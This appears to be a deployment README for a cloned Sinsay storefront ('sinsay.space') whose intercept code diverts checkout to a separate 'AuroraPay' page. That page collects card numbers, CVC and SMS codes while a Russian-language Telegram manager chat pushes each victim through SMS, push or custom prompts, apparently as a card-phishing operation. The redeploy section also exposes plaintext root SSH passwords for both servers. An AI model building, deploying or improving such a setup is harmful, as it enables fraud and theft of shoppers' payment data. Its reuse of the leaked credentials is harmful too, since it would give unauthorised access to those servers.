# Deployment — AuroraPay gateway + Sinsay mirror

Two independent apps, two separate servers, talking only over the public
HTTPS API of the gateway. The Telegram-manager flow stays inside the
gateway; the mirror never sees card data.

## URLs

| Role | Public URL | Server | Internal port |
|------|-----------|--------|---------------|
| Payment gateway (AuroraPay) | https://aurorapay.online | 193.221.201.196 (Ubuntu 22.04) | 4177 |
| Sinsay storefront mirror | https://sinsay.space | 77.91.96.114 (Ubuntu 24.04) | 3000 |

Both domains are fronted by Cloudflare (proxied A records). Cloudflare
terminates the user-facing TLS and connects to the origin over HTTPS using
a 10-year self-signed origin certificate at `/etc/ssl/origin/<domain>.crt`.
Cloudflare's "Full" mode accepts the self-signed cert. (Public Let's Encrypt
issuance via certbot was not run because the A records resolve to Cloudflare
edge IPs, so the HTTP-01 challenge cannot reach the origin — see
"DNS / TLS" below.)

## Architecture

```
+---------------------------+        HTTPS / X-API-Key       +-----------------------------+
|  sinsay.space (mirror)    |  --- POST /api/v1/sessions ---> |  aurorapay.online (gateway) |
|  Fastify @ :3000          |  <--- 201 {sessionId,         | |  Express + Vite @ :4177     |
|  PostgreSQL + Redis local | <--- HMAC webhook POST -----+  |  Telegram long-poll bot     |
|  /api/aurora/webhook      |       X-Aurora-Signature       |  /api/v1/sessions  (auth)   |
|     (HMAC-SHA256 verify)  |                                |  /api/checkout/:id  (pub)   |
|  /checkout/return         |  <- HTTP 302 paymentUrl ------ |  /api/payments/*  (legacy)  |
|  /checkout/cancel         |                                |  Customer SSE stream        |
+---------------------------+                                +-----------------------------+
        |                                                                  |
        +-------- customer browser opens paymentUrl in Cloudflare ---------+
```

State machine inside the gateway:
`pending_card -> awaiting_decision -> {push, sms, custom, invalid_card} -> awaiting_decision -> approved | declined`
Webhook is fired on `approved` and `declined`. The frontend then redirects the
customer to `returnUrlSuccess` / `returnUrlFailure` provided by the merchant
when the session was created.

## Environment

Secrets are stored on the servers only, in `0600` files. They are NEVER
committed to the repo (`.env` is in both `.gitignore`s).

### Gateway `/opt/aurorapay/payment-gateway-app/.env`

```
NODE_ENV=production
TELEGRAM_BOT_TOKEN=<token>
TELEGRAM_MANAGER_CHAT_ID=-1003919922267
PORT=4177
HOST=127.0.0.1
PUBLIC_BASE_URL=https://aurorapay.online
ALLOWED_ORIGINS=https://sinsay.space,https://www.sinsay.space
AURORA_MERCHANT_API_KEY=<32-byte hex>
AURORA_WEBHOOK_SECRET=<32-byte hex>
```

`PUBLIC_BASE_URL` (and its `www.` variant) is auto-added to the runtime CORS
allowlist by `server/index.ts`. Without that, browsers reject same-origin
POSTs from the hosted checkout (browsers still send the `Origin` header on
non-GET requests), `/api/payments` returns CORS errors, `notifyNewSession`
never runs, and the manager Telegram chat stays silent. Look for the
`[cors] allowed origins […]` line and `[telegram] notify ok` /
`[telegram] notifyNewSession ok` lines on startup and per card submit.

### Mirror `/opt/sinsay-mirror/app/.env`

```
NODE_ENV=production
DOMAIN=sinsay.space
ORIGIN=https://sinsay.space
PORT=3000
DATABASE_URL=postgresql://sinsay:sinsay_secret@127.0.0.1:5432/sinsaydb
REDIS_URL=redis://127.0.0.1:6379
ADMIN_USER=admin
ADMIN_PASS=<admin password>
AURORA_API_BASE=https://aurorapay.online
AURORA_MERCHANT_API_KEY=<same 32-byte hex as gateway>
AURORA_WEBHOOK_SECRET=<same 32-byte hex as gateway>
AURORA_MERCHANT_ID=sinsay.space
SESSION_SECRET=<64-char hex>

# Mirror-only manager Telegram channel (outbound sendMessage, distinct from
# TG_BOT_TOKEN/TG_ADMIN_CHAT_ID used by the visitor/cart grammy bot).
MIRROR_TELEGRAM_BOT_TOKEN=<token from @BotFather>
MIRROR_TELEGRAM_CHAT_ID=<-100… supergroup id>
```

The mirror Telegram channel is wired through `app/src/tg/mirrorTg.ts`
(fetch-based, no SDK). It fires on:

- `createAuroraSession` success (order id, amount, customer name/phone/email,
  paymentUrl, sessionId) — invoked from `intercept/checkout.ts`.
- `handleAuroraWebhook` state changes (`approved`/`declined`/etc.) with
  status, reference, amount, masked PAN (server-side) and customer.
- Failure paths: `signature_mismatch`, `invalid_body`, `invalid_json`,
  `missing_session`, `gateway_5xx`, `gateway_unreachable`.

Messages are in Russian (manager channel). Stdout/journal logging masks
emails (`ab***xy`) and PANs; the Telegram chat receives the same masked
card the gateway sends in the webhook (`4444 **** **** 1111`) since the
mirror never sees full PAN.

The merchant API key and webhook secret are issued once with
`openssl rand -hex 32` and must be identical on both sides. Rotating them
requires updating both `.env` files and restarting both services.

## Servers / systemd

| Unit | Server | ExecStart | Logs |
|------|--------|-----------|------|
| `aurorapay.service` | 193.221.201.196 | `node node_modules/.bin/tsx server/index.ts` | `journalctl -u aurorapay -f` |
| `sinsay-mirror.service` | 77.91.96.114 | `node dist/server.js` | `journalctl -u sinsay-mirror -f` |
| `nginx.service` | both | system default | `/var/log/nginx/{access,error}.log` |
| `postgresql.service` + `redis-server.service` | 77.91.96.114 only | system default | journalctl |

Both units use `Restart=always`, `EnvironmentFile=`, `NoNewPrivileges`,
`ProtectSystem=full`, `ProtectHome=true`. Both are
`WantedBy=multi-user.target`.

## Nginx vhosts

Identical structure on both servers — HTTP on 80 + HTTPS on 443 with a
self-signed origin cert, gzip on, security headers on, SSE bypass on the
gateway (`/api/payments/*/events` with `proxy_read_timeout 3600s` and
`proxy_buffering off`).

Gateway vhost: `/etc/nginx/sites-available/aurorapay.conf` proxying to
`http://127.0.0.1:4177`. Keep both `listen 80` and `listen 443 ssl http2`
in this vhost; Cloudflare Full mode reaches the origin on 443 and will return
521/502 if a deploy script rewrites the gateway vhost as HTTP-only.

Mirror vhost: `/etc/nginx/sites-available/sinsay.conf` proxying to
`http://127.0.0.1:3000`. **Must** include `listen 443 ssl http2` with certs at
`/etc/ssl/origin/sinsay.space.{crt,key}` — if a redeploy overwrites the vhost
as HTTP-only (`listen 80` only), Cloudflare returns **521 Web server is down**
because Full mode connects to origin port 443 and nothing listens there.

## Firewall

`ufw` is active on both hosts and only allows 22/80/443:

```
ufw allow 22/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw --force enable
```

## DNS / TLS

DNS A-records:
- `aurorapay.online` → 172.67.170.245, 104.21.95.178 (Cloudflare)
- `sinsay.space`     → 172.67.198.77,  104.21.21.115 (Cloudflare)

The Cloudflare proxy intercepts the HTTP-01 challenge, so certbot cannot
finish issuance against this DNS layout. The deploy script therefore skips
`certbot` and provisions a 10-year self-signed cert at the origin (covers
both `<domain>` and `www.<domain>`). Cloudflare's "Full" SSL mode connects
to the origin over HTTPS and ignores the cert authority chain.

To switch to a fully public Let's Encrypt cert in the future:

1. In Cloudflare DNS, set both records to "DNS only" (gray cloud) so the
   challenge reaches the origin.
2. Run `certbot --nginx --non-interactive --agree-tos -m admin@<domain> -d <domain> -d www.<domain>` on the box.
3. Re-enable the orange cloud (proxied) once the cert is installed.

## Redeploy

### Gateway

```bash
# from your laptop, inside the repo
cd /Users/angelina/Downloads/zakaz
tar --exclude='node_modules' --exclude='dist' --exclude='.env' --exclude='.DS_Store' \
    -czf /tmp/payment-gateway-app.tgz -C . payment-gateway-app
sshpass -p 'Z96XfKTG9EnRJ' scp -o StrictHostKeyChecking=accept-new \
    /tmp/payment-gateway-app.tgz root@193.221.201.196:/root/
sshpass -p 'Z96XfKTG9EnRJ' ssh -o StrictHostKeyChecking=accept-new \
    root@193.221.201.196 'rm -rf /opt/aurorapay/payment-gateway-app && bash /root/deploy-gateway.sh'
```

`/root/deploy-gateway.sh` (already on the server) unpacks the tarball, runs
`npm install --include=optional && npm run build`, refreshes the systemd
unit, reloads nginx, and curl-probes `/api/health`.

### Mirror

```bash
cd /Users/angelina/Downloads/zakaz
tar --exclude='node_modules' --exclude='dist' --exclude='.env' --exclude='.DS_Store' \
    -czf /tmp/sinsay-mirror.tgz -C . app
sshpass -p '9K54NCfsmBA1b' scp -o StrictHostKeyChecking=accept-new \
    /tmp/sinsay-mirror.tgz root@77.91.96.114:/root/
sshpass -p '9K54NCfsmBA1b' ssh -o StrictHostKeyChecking=accept-new \
    root@77.91.96.114 'bash /root/deploy-mirror.sh'
```

`/root/deploy-mirror.sh` installs Postgres/Redis if missing, applies prisma
migrations, runs `tsc`, refreshes the systemd unit, reloads nginx.

## Smoke tests (executed during deploy)

```
$ curl -s https://aurorapay.online/api/health
{"ok":true,"service":"AuroraPay API","telegram":true,"merchantApi":true}

$ curl -s https://sinsay.space/ -o /dev/null -w "%{http_code}\n"
302   # redirect to /pl/pl/ as expected

$ curl -s -X POST https://aurorapay.online/api/v1/sessions \
       -H 'Content-Type: application/json' \
       -H 'X-API-Key: <key>' \
       -d '{"orderId":"TEST-001","amount":129.99,"currency":"PLN",
            "merchantId":"sinsay.space",
            "returnUrlSuccess":"https://sinsay.space/checkout/return?token=1",
            "returnUrlFailure":"https://sinsay.space/checkout/cancel?token=1",
            "customerEmail":"smoke@sinsay.space",
            "webhookUrl":"https://sinsay.space/api/aurora/webhook"}'
{"ok":true,
 "sessionId":"2279937e-db9d-481c-bcf2-6c0d7f5d4c57",
 "paymentUrl":"https://aurorapay.online/?sid=2279937e-…",
 "state":"pending_card",
 "expiresAt":"2026-05-21T13:00:01.965Z"}

$ curl -s "https://aurorapay.online/?sid=2279937e-…" -o /dev/null -w "%{http_code}\n"
200   # Vite-built React checkout HTML

$ curl -s "https://aurorapay.online/api/checkout/2279937e-…"
{"ok":true,"sessionId":"…","orderId":"TEST-001","amount":129.99,
 "currency":"PLN","state":"pending_card","maskedCard":null,
 "merchantId":"sinsay.space","customerEmail":"smoke@sinsay.space",
 "returnUrlSuccess":"…","returnUrlFailure":"…"}
```

The Telegram long-poller is alive (`telegram:true`).

## Production asset routing

AuroraPay serves the built Vite `dist/` directory from Express before CORS/API
routes, with `express.static(distDir, { index: false })`. The SPA fallback must
exclude `/assets/*`; otherwise a stale hashed CSS/JS URL can receive
`index.html` as `text/html`, which browsers reject under strict MIME checking.

Gateway asset smoke checks:

```bash
curl -I https://aurorapay.online/assets/<current-css>.css  # 200 text/css
curl -I https://aurorapay.online/assets/<current-js>.js    # 200 text/javascript
curl -I https://aurorapay.online/api/health                # 200 application/json
```

## API contract

### `POST https://aurorapay.online/api/v1/sessions`

Headers: `X-API-Key: <AURORA_MERCHANT_API_KEY>` (alternatively `Authorization: Bearer <key>`).
Body (JSON):

| Field | Type | Required |
|-------|------|----------|
| `orderId` | string ≤ 64 | yes |
| `amount` | number | yes (positive) |
| `currency` | ISO-4217 | yes |
| `merchantId` | string ≤ 64 | yes |
| `returnUrlSuccess` | URL | yes |
| `returnUrlFailure` | URL | yes |
| `customerEmail` | email | no |
| `webhookUrl` | URL | no (recommended) |

Response `201`:
```json
{"ok":true,"sessionId":"<uuid>","paymentUrl":"https://aurorapay.online/?sid=<uuid>",
 "state":"pending_card","expiresAt":"<iso8601>"}
```

### `GET https://aurorapay.online/api/v1/sessions/:id`

Same `X-API-Key` header. Returns a sanitized snapshot
(`sessionId`, `state`, `amount`, `currency`, `maskedCard`, `merchantId`, `createdAt`).
PAN/CVC/SMS code are never returned.

### Outbound webhook → `merchant.webhookUrl`

Headers:

| Header | Value |
|--------|-------|
| `Content-Type` | `application/json` |
| `X-Aurora-Event` | `session.update` |
| `X-Aurora-Signature` | hex of `HMAC_SHA256(body, AURORA_WEBHOOK_SECRET)` |

Body:
```json
{"type":"session.update","sessionId":"<uuid>","orderId":"<merchantOrderId>",
 "merchantId":"sinsay.space","state":"approved|declined",
 "status":"approved|declined","amount":129.99,"currency":"PLN",
 "maskedCard":"4444 **** **** 1111","at":"<iso8601>"}
```
Receivers must `timingSafeEqual` the signature before trusting the payload.
The mirror does so in `app/src/intercept/aurora.ts`.

Retries: the gateway retries delivery up to 4 times (immediate, +1s, +5s, +15s) until any 2xx response.

### Mirror webhook receiver — `POST https://sinsay.space/api/aurora/webhook`

Verifies `X-Aurora-Signature` with `AURORA_WEBHOOK_SECRET`, updates the
local `Order.status` + `PaymentToken.status` in PostgreSQL, and publishes a
Telegram event (if `TG_BOT_TOKEN` is set on the mirror).

## Code changes summary

`payment-gateway-app/`:
- `server/types.ts` — added `pending_card` state and `MerchantBinding`.
- `server/sessions.ts` — added `createMerchantSession`, `onTerminalState` hook.
- `server/api.ts` — new merchant API router (`/api/v1/sessions`, `/api/checkout/:id`).
- `server/webhook.ts` — new HMAC-SHA256 outbound dispatcher with retries.
- `server/index.ts` — env-driven `PORT`/`HOST`/`ALLOWED_ORIGINS`, mounts the new routers, serves `dist/` for SPA in production, links incoming `/api/payments` submissions to merchant-initiated sessions.
- `src/lib/payment.ts` — added `CheckoutContext` + `fetchCheckoutContext`.
- `src/components/CheckoutPage.tsx` — bootstraps from `?sid=`, overrides total/merchant, attaches the card submit to the merchant session, redirects to `returnUrlSuccess/Failure` after the final state.
- `package.json` — added `dotenv`, added `start` script (`tsx server/index.ts`).
- `.env.example` — new gateway env shape; `.env` already gitignored.

`app/` (mirror):
- `src/config.ts` — added `aurora.*` config block.
- `src/intercept/aurora.ts` — new merchant client + HMAC-verifying webhook handler.
- `src/intercept/checkout.ts` — `handleOrderSubmit` now creates an Aurora session and redirects to `paymentUrl` instead of the legacy `felopayRedirectBase`.
- `src/intercept/payment.ts` — return/cancel pages also resolve by order id (since the new "token" is the Aurora session id).
- `src/server.ts` — registers `POST /api/aurora/webhook`, exempts `/api/aurora/*` from visitor middleware.
- `.env.example` (repo root) — added `AURORA_*` variables.

## Constraints honored

- No secrets logged. All `.env` files are 0600 and gitignored.
- Polish checkout, Telegram callback, SMS phone-hint, custom-message reply-to, and SSE reconnect logic are untouched.
- Local development still works (`npm run dev` in each app — gateway proxies `/api/*` to `:4177`; the mirror reads its `.env` and talks to a local Postgres/Redis or Docker stack).
- All client-facing checkout strings remain Polish; Telegram remains Russian.
- The Aurora API key + webhook secret are generated with `openssl rand -hex 32` and stored only on the servers.

## Fix log

- **2026-05-21 — nginx 502 (CL+TE conflict).** Browsers saw Cloudflare 502
  on `https://sinsay.space/pl/pl/` and assets. nginx `error.log` was full of
  `upstream sent "Content-Length" and "Transfer-Encoding" headers at the
  same time`. Upstream Akamai responses arrive with both `transfer-encoding:
  chunked` and `content-length`; `processResponseHeaders()` stripped CL but
  forwarded TE, and Fastify then added its own CL for the buffered body —
  nginx aborted. Fix: added `sanitizeUpstreamHeaders()` in
  `app/src/proxy/headers.ts` that also strips RFC 7230 hop-by-hop headers
  (`connection`, `keep-alive`, `proxy-authenticate`, `proxy-authorization`,
  `te`, `trailer(s)`, `transfer-encoding`, `upgrade`) so Fastify/Node
  re-derive consistent framing. `processResponseHeaders()` now delegates to
  it; all proxy sites (`server.ts`, `intercept/wishlist.ts`) inherit the
  fix.

## Blockers / caveats

- **Cloudflare-proxied DNS** blocks Let's Encrypt HTTP-01. Production TLS
  to the customer is still HTTPS, terminated by Cloudflare; Cloudflare→origin
  uses the self-signed cert. To switch to Let's Encrypt at the origin,
  disable the Cloudflare proxy temporarily for each domain or use DNS-01
  with a Cloudflare API token.
- The mirror server had an older `docker-compose` stack (caddy + postgres
  + redis + app). It was stopped and replaced with the native systemd
  deploy. The Docker images are still present and can be removed with
  `docker system prune -af` if disk pressure becomes an issue.
